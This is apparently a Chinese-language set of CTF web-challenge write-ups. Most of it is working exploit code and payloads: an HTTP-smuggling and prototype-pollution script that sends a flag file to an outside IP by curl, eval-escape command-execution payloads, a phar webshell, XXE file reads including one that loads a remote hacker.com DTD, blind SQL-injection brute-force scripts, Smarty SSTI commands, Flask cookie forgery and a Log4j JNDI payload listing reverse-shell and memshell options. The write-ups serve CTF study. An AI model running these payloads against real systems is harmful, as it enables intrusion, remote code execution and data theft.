1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 var express = require ('express' );var http = require ('http' );var router = express.Router ();const safeobj = require ('safe-obj' );router.get ('/' ,(req,res )=> { if (req.query .q ) { console .log ('get q' ); } res.render ('index' ); }) router.post ('/copy' ,(req,res )=> { res.setHeader ('Content-type' ,'text/html;charset=utf-8' ) var ip = req.connection .remoteAddress ; console .log (ip); var obj = { msg : '' , } if (!ip.includes ('127.0.0.1' )) { obj.msg ="only for admin" res.send (JSON .stringify (obj)); return } let user = {}; for (let index in req.body ) { if (!index.includes ("__proto__" )){ safeobj.expand (user, index, req.body [index]) } } res.render ('index' ); }) router.get ('/curl' , function (req, res ) { var q = req.query .q ; var resp = "" ; if (q) { var url = 'http://localhost:3000/?q=' + q try { http.get (url,(res1 )=> { const { statusCode } = res1; const contentType = res1.headers ['content-type' ]; let error; if (statusCode !== 200 ) { error = new Error ('Request Failed.\n' + `Status Code: ${statusCode} ` ); } if (error) { console .error (error.message ); res1.resume (); return ; } res1.setEncoding ('utf8' ); let rawData = '' ; res1.on ('data' , (chunk ) => { rawData += chunk; res.end ('request success' ) }); res1.on ('end' , () => { try { const parsedData = JSON .parse (rawData); res.end (parsedData+'' ); } catch (e) { res.end (e.message +'' ); } }); }).on ('error' , (e ) => { res.end (`Got error: ${e.message} ` ); }) res.end ('ok' ); } catch (error) { res.end (error+'' ); } } else { res.send ("search param 'q' missing!" ); } }) module .exports = router;
猜测是原型链 污染,__proto__
被过滤,使用constructor.prototype
访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控
1 {"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
POST道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import urllib.parseimport requestspayload = ''' HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Connection: close Content-Length: 155 {"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"} ''' .replace("\n" , "\r\n" )def encode (data ): tmp = u"" for i in data: tmp += chr (0x0100 + ord (i)) return tmp payload = encode(payload) print (payload)r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload)) print (r.text)
[GFCTF 2021]ez_calc 题目提示
1 2 1.别想太复杂,试着传传其他数据类型 2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。
小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı
会变成I
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制 同样的”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
1 2 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
admın/admin123
成功对接
源码在f12中可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 let calc = req.body .calc ;let flag = false ;for (let i = 0 ; i < calc.length ; i++) { if (flag || "/(flc'\"." .split `` .some (v => v == calc[i])) { flag = true ; calc = calc.slice (0 , i) + "*" + calc.slice (i + 1 , calc.length ); } } calc = calc.substring (0 , 64 ); calc = calc.replace (/\s+/g , "" ); calc = calc.replace (/\\/g , "\\\\" ); while (calc.indexOf ("sh" ) > -1 ) { calc = calc.replace ("sh" , "" ); } while (calc.indexOf ("ln" ) > -1 ) { calc = calc.replace ("ln" , "" ); } while (calc.indexOf ("fs" ) > -1 ) { calc = calc.replace ("fs" , "" ); } while (calc.indexOf ("x" ) > -1 ) { calc = calc.replace ("x" , "" ); } try { result = eval (calc); }
eval(calc)产生命令执行
但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸
禁止了 x
不能有exec
1 require("child_process").spawn('sleep', ['3']);
1 calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
尝试读取文件,没有回显
1 calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
写入静态文件读取
1 calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1 calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
[HDCTF 2023]YamiYami 三个按钮,一个个来
读取,php伪协议直接读,读flga和app.py时有过滤
读取环境变量
1 http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ
无疑是非预期解,这里要获取源码
urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的
/要保留, 不能编码为
%2F
因此,我们需要对/app/app.py进行二次编码,第一个/
不能编码
得到
1 /%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39
访问后得到源码
然后就是熟悉的session伪造
首先找到secret生成方式
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 )
读mac
1 2 3 4 5 6 7 8 9 10 11 /etc/passwd用来判断读取漏洞的存在 /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。 /etc/hostname/etc/hostname表示主机名。 /etc/issue指明系统版本。 /proc目录 /proc/[pid]查看进程 /proc/self查看当前进程 /proc/self/cmdline当前进程对应的终端命令 /proc/self/pwd程序运行目录 /proc/self/环境变量 /sys/class/net/eth0/address mac地址保存位
生成secret
1 2 3 4 5 import randomif __name__ == '__main__' : random.seed(0x0242ac02a812 ) print (str (random.random() * 233 ))
1 python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s "62.6539852098"
上传后通过/boogipop路由去访问响应文件即可
1 http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt
[FBCTF 2019]rceservice 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv ('PATH=/home/rceservice/jail' );if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string ($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match ('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode ($json , true )['cmd' ]; if ($cmd !== NULL ) { system ($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
两个点
%0a换行来绕过,preg_match只能匹配第一行
/bin/cat进行绕过 再用json的格式封装起来
最终payload
1 2 3 { %0a"cmd":"/bin/cat /home/rceservice/flag"%0a }
[NISACTF 2022]bingdundun~ 基础的phar反序列化
1 2 3 4 5 6 7 8 9 <?php $payload = '<?php eval($_POST["1"]); ?>' ; $phar = new Phar ("example.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->addFromString ("67.php" , "$payload " ); $phar ->stopBuffering (); ?>
上传后直接访问对应的压缩进去的php即可
1 http://node5.anna.nssctf.cn:20355/?bingdundun=phar://0551e3d7f50fe9b53c54c885e264a5d1.zip/67
67是创建的时候压缩进去的,自动补全后缀
phar伪协议只认phar文件特征(stub等),后缀是给人看的,因此可以解析zip
[HUBUCTF 2022 新生赛]checkin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; } ?>
考察一个点,布尔类型和非null值比较都等于true
1 2 3 4 5 6 <?php $a = [ 'username' => true , 'password' => true ]; echo serialize ($a );
[HDCTF 2023]SearchMaster Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)
标签: 1. {$smarty.version}
1 {$smarty.version} #获取smarty的版本号
2.{php}{/php}
1 {php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
3.{literal}
{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。
通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。
1 {literal}alert('xss');{/literal}
4.{if}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||
,or
,&&
,and
,is_array()
等等,如:
1 {if is_array($array)}{/if}
还可以用来执行命令:
1 2 3 4 {if phpinfo()}{/if} {if readfile ('/flag')}{/if} {if show_source('/flag')}{/if} {if system('cat /flag')}{/if}
扫描发现composer.json,访问发现是smarty模板
尝试进入注点东西
[NCTF 2019]Fake XML cookbook 1.什么是xxe?
XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档 将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。
有点像SSRF
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
2.什么是XML
XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
参考例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <!DOCTYPE people [ <!--定义此文档是 people 类型的文档--> <!ELEMENT people (name ,age ,mail )> <!--定义people元素有3个元素--> <!ELEMENT name (#PCDATA )> <!--定义name元素为“#PCDATA”类型--> <!ELEMENT age (#PCDATA )> <!--定义age元素为“#PCDATA”类型--> <!ELEMENT mail (#PCDATA )> <!--定义mail元素为“#PCDATA”类型--> ]]]> <people > <name > john</name > <age > 18</age > <mail > john@qq.com</mail > </people >
1.DTD 实体声明
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
2.内部实体声明
内部声明采用如下格式定义:
声明之后就可以通过“&实体名;”来获取,示例如下
1 2 3 4 5 6 <!DOCTYPE foo [ <!ENTITY test "john" > ]> <root > <name > &test; </name > </root
3.外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
1 2 3 <!ENTITY 实体名 SYSTEM "URI" > 或者 <!ENTITY 实体名 PUBLIC "public_ID" "URI" >
举个例子:
1 2 3 4 5 6 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo > &xxe; </foo > 声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
1 2 3 <!ENTITY % 实体名称 "实体的值" > 或者 <!ENTITY % 实体名称 SYSTEM "URI" >
注意 :
举个例子:
1 2 3 4 5 6 7 <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" > %xxe; ]> <root > <name > &evil; </name > </root >
xxe.dtd 内容如下:
1 <!ENTITY evil SYSTEM "file:///etc/passwd" >
上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
普通实体和外部实体的差别:
作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。
回到题目,抓包发现可能存在xxe
exp
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > 123</password > </user >
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > 123</password > </user >
[HNCTF 2022 WEEK2]easy_unser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php include 'f14g.php' ; error_reporting (0 ); highlight_file (__FILE__ ); class body { private $want ,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind" ; public function __construct ($want ) { $About_me = "When the object is created,I will be called" ; if ($want !== " " ) $this ->want = $want ; else $this ->want = $this ->todonothing; } function __wakeup ( ) { $About_me = "When the object is unserialized,I will be called" ; $but = "I can CHANGE you" ; $this -> want = $but ; echo "C1ybaby!" ; } function __destruct ( ) { $About_me = "I'm the final function,when the object is destroyed,I will be called" ; echo "So,let me see if you can get what you want\n" ; if ($this ->todonothing === $this ->want) die ("鲍勃,别傻愣着!\n" ); if ($this ->want == "I can CHANGE you" ) die ("You are not you...." ); if ($this ->want == "f14g.php" OR is_file ($this ->want)){ die ("You want my heart?No way!\n" ); }else { echo "You got it!" ; highlight_file ($this ->want); } } } class unserializeorder { public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>" ; function __sleep ( ) { $About_me = "When the object is serialized,I will be called" ; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>" ; } function __toString ( ) { $About_me = "When the object is used as a string,I will be called" ; return $this ->CORE; } } $obj = new unserializeorder (); echo $obj ; $obj = serialize ($obj ); if (isset ($_GET ['ywant' ])) { $ywant = @unserialize (@$_GET ['ywant' ]); echo $ywant ; } ?> 人类最大的敌人,就是无序. Yahi param vaastavikta hai! We Come To HNCTF,Enjoy the ser14l1zti0n
[SWPUCTF 2023 秋季新生赛]RCE-PLUS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );function strCheck ($cmd ) { if (!preg_match ("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i" , $cmd )){ return ($cmd ); } else { die ("i hate this" ); } } $cmd =$_GET ['cmd' ];strCheck ($cmd );shell_exec ($cmd );?>
由于没有相关打印的函数,因此可以直接写入文件读取
exp
1 2 ls /> 1.txt cat /fl*> 2.txt
[第五空间 2021]yet_another_mysql_injection 提示/?source
找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include_once ("lib.php" );function alertMes ($mes ,$url ) { die ("<script>alert('{$mes} ');location.href='{$url} ';</script>" ); } function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if (isset ($_POST ['username' ]) && $_POST ['username' ] != '' && isset ($_POST ['password' ]) && $_POST ['password' ] != '' ) { $username =$_POST ['username' ]; $password =$_POST ['password' ]; if ($username !== 'admin' ) { alertMes ('only admin can login' , 'index.php' ); } checkSql ($password ); $sql ="SELECT password FROM users WHERE username='admin' and password='$password ';" ; $user_result =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($user_result ); if (!$row ) { alertMes ("something wrong" ,'index.php' ); } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' ); } } if (isset ($_GET ['source' ])){ show_source (__FILE__ ); die ; } ?> <!-- /?source --> <html> <body> <form action="/index.php" method="post" > <input type="text" name="username" placeholder="账号" ><br/> <input type="password" name="password" placeholder="密码" ><br/> <input type="submit" / value="登录" > </form> </body> </html>
没有过滤like,可以尝试like报错注入,%
是一个通配符,表示任意数量的任意字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = 'http://node4.anna.nssctf.cn:28612' paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag = "" for i in paylaod_list: data = { 'username': 'admin', 'password': f"1'/**/or/**/password/**/like/**/'{i}%'#", } re = requests.post(url,data = data) print(f"i={i} {re.text}")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport timeurl = 'http://node4.anna.nssctf.cn:28612' paylaod_list = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-" flag = "" for m in range (40 ): for i in paylaod_list: data = { 'username' : 'admin' , 'password' : f"1'/**/or/**/password/**/like/**/'{flag} {i} %'#" , } re = requests.post(url,data = data) time.sleep(0.1 ) if 'wrong password' in re.text: flag += i print (flag) break
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import timeimport requestsurl = 'http://node4.anna.nssctf.cn:28612' flag = '' zifu="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~" print (zifu)while True : for i in zifu: data={ "username" : "admin" , "password" : f"1'or/**/password/**/like/**/'{flag+i} %'#" } res = requests.post(url=url,data=data) time.sleep(0.1 ) if "something wrong" not in res.text: flag+=i print (flag) break else : pass
[NSSRound#13 Basic]flask?jwt? 注册账号进去拿flag
忘记密码处有secretkey
1 <!-- secretkey: th3f1askisfunny -->
直接拿去解密
1 python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBd_O7DwQZMlonAgNqv07yq7t5IneDuU45ccT7L_l5XPMrx8rKX0ZVhcDK1FAgCaBLYK_lskDMMJ4ZvDFWydUBB28CmW3LL2kRJtM9qJoiJZAQdYPTgUNdpLIQ-whSpsjM3F8esyqY3wLOWO3Kdsf4bKN8frIcvsQ.ZqTwRQ.gQDifRFlzKt9DirA8xhKUx8c45E"
得到
1 {'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '2'}
修改一下,admin的id属性直接盲猜1
1 {'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}
payload
1 python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '84a7287f763f92e62239e5406dc32fceb5c5ed17209f342595b12bcdbf73f039a69a4c0bb955f56b6242284e7eadacb7965d8eba5607d773d9d5f0a7badc37c0', '_user_id': '1'}"
替换cookie拿flag
登陆就有flag
空异或0会查到所有非数字开头的记录
引号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等
Log4j复现 前置知识 LDAP 轻量级的目录搜寻协议,提供目录服务
JNDI Java的一个接口,JNDI避免了程序与数据库之间的紧耦合
我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器
dnslog A记录:Address 域名对应的IP地址
https://www.cnblogs.com/sunny11/p/14399420.html
PAYLOAD
1 ${jndi:ldap://r0303l.dnslog.cn}
存在相关漏洞
log4j会记录数据包的一些内容(比如url、cookie等等),此外,他还拥有一定数据分析处理能力,这种能力能够简化程序员的开发,但同时也带来了log4j的这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [root@iZbp1cdkjx3v4aulod8zk9Z yiyi] Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false ) -h, --help Show this help [root@iZbp1cdkjx3v4aulod8zk9Z yiyi] Supported LADP Queries: * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g. ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/[cmd] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Basic/TomcatEcho ldap://null:1389/Basic/SpringEcho ldap://null:1389/Basic/WeblogicEcho ldap://null:1389/Basic/TomcatMemshell1 ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true ] ldap://null:1389/Basic/JettyMemshell ldap://null:1389/Basic/WeblogicMemshell1 ldap://null:1389/Basic/WeblogicMemshell2 ldap://null:1389/Basic/JBossMemshell ldap://null:1389/Basic/WebsphereMemshell ldap://null:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ldap://null:1389/Deserialization/URLDNS/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://null:1389/Deserialization/C3P0/SpringEcho ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1 ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells [+] TomcatBypass Queries ldap://null:1389/TomcatBypass/Dnslog/[domain] ldap://null:1389/TomcatBypass/Command/[cmd] ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/TomcatBypass/TomcatEcho ldap://null:1389/TomcatBypass/SpringEcho ldap://null:1389/TomcatBypass/TomcatMemshell1 ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true ] ldap://null:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://null:1389/GroovyBypass/Command/[cmd] ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://null:1389/WebsphereBypass/List/file=[file or directory] ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://null:1389/WebsphereBypass/Upload/Command/[cmd] ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] 